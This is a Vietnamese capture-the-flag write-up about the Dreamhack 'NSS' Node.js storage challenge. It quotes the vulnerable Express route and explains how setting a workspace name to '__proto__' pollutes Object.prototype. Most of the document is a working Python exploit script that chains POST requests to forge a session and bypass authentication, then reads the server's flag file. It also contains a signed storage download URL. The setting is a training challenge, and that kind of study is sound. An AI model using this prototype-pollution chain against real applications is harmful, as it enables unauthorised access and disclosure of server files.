# NSS - Prototype Pollution **Description**: The Simple and Secure Node.js Storage Service! [**Source**](https://sfo2.digitaloceanspaces.com/wargame1/public/89026f3a-f9c4-40fa-94c3-f2fab1cad200.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=OIK4A6AORYFTHBTQUV55%2F20230822%2Fsfo2%2Fs3%2Faws4_request&X-Amz-Date=20230822T140438Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=037f62ab79e264fb198ce0520be3f1a45fdd5279f09ba44b10aef78f83690932) Lỗ hổng tồn tại ở ```/api/users/:userid/:ws``` endpoint #L78 file.js ``` app.post("/api/users/:userid/:ws", (req, res) => { const userid = req.params.userid || ""; const ws_name = req.params.ws || ""; const token = req.body.token || ""; const f_name = req.body.file_name || ""; const f_path = req.body.file_path.replace(/\./g,'') || ""; const f_content = req.body.file_content || ""; if(!userid || !token) return res.status(400).json({ok: false, err: "Invalid id or token"}); if(!check_session(userid, token)) return res.status(403).json({ok: false, err: "Failed to validate session"}); const user = users[userid]; if(!ws_name) return res.status(400).json({ok: false, err: "Invalid workspace name"}); const workspace = user.workspaces[ws_name]; if(!workspace) return res.status(404).json({ok: false, err: "Failed to find workspace"}); if(!f_name || !f_path) return res.status(400).json({ok: false, err: "Invalid file name or path"}); if(!write_b64_file(path.join(user.base_dir, f_path), f_content)) return res.status(500).json({ok: false, err: "Internal server error"}); workspace[f_name] = f_path; return res.status(200).json({ok: true}); }); ``` Nó không có tồn tại một lớp rountine check vậy rõ ràng chúng ta hoàn toàn có thể khai thác prototype poluttion ở đây, câu hỏi bây giờ là how ???. Sau một hồi phân tích thì mình đã tìm ra ý tưởng là ``` ws_name == "__proto__" => workspace = user.workspaces["__proto__"] == Object.__proto__ workspace[f_name] = f_path => Object.__proto__.f_name = f_path ``` Exploit.py ``` import requests from base64 import b64decode URL = "http://host3.dreamhack.games:16710/api" proto_user = "__proto__" user = "l1nx1n" pw = "l1nx1n" ws = "__proto__" print(requests.post(URL + "/users", json={"userid":user,"pass":pw}).json()) c = requests.post(URL + "/users/auth", json={"userid":user,"pass":pw}).json() print(c) token = c['token'] ### users[l1x1n].workspaces["__proto__"].expire = "99999999999999999999999999" c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"expire","file_content":"zzlol","file_path":"99999999999999999999999999"}).json() print(c) ### users[l1nx1n].workspaces["__proto__"].owner = "__proto__" c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"owner","file_content":"zzlol","file_path":"__proto__"}).json() print(c) ### users[l1nx1n].workspaces["__proto__"].workspaces = "l1nx1n" c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"workspaces","file_content":"zzlol","file_path":"l1nx1n"}).json() print(c) ### users[l1nx1n].workspaces["__proto__"].zzzzzz = "flag" c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"zzzzzz","file_content":"zzlol","file_path":"flag"}).json() print(c) ### users[l1nx1n].workspaces["__proto__"].base_dir = "/usr/src/app" c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"base_dir","file_content":"zzlol","file_path":"/usr/src/app"}).json() print(c) ### get(users.__proto__.base_dir + users.__proto__.workspaces.__proto__.zzzzzz) ### == get("/usr/src/app/flag") c = requests.get(URL + "/users/__proto__/__proto__/zzzzzz", json={"userid":'__proto__',"token":'__proto__',"ws_name":"123"}).json() print(c) print(b64decode(c['file_content']).decode())